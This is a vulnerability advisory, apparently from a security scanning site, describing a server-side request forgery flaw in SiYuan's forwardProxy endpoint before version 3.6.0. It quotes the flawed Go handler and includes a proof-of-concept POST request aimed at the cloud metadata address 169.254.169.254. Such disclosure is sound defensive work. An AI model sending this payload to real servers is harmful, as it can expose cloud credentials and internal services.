| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | < 3.6.0all versions | 3.6.0 |
| siyuan | < 3.6.0 | 3.6.0 |
The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
File: /kernel/api/network.go (Lines 153-317)
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
// VULNERABILITY: Only validates URL format, not destination
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
// ... HTTP request is made to user-controlled URL ...
resp, err := request.Send(method, destURL)
// Full response body is returned to the user
bodyData, err := io.ReadAll(resp.Body)
// ...
ret.Data = data // Contains full response body
}
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102
{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free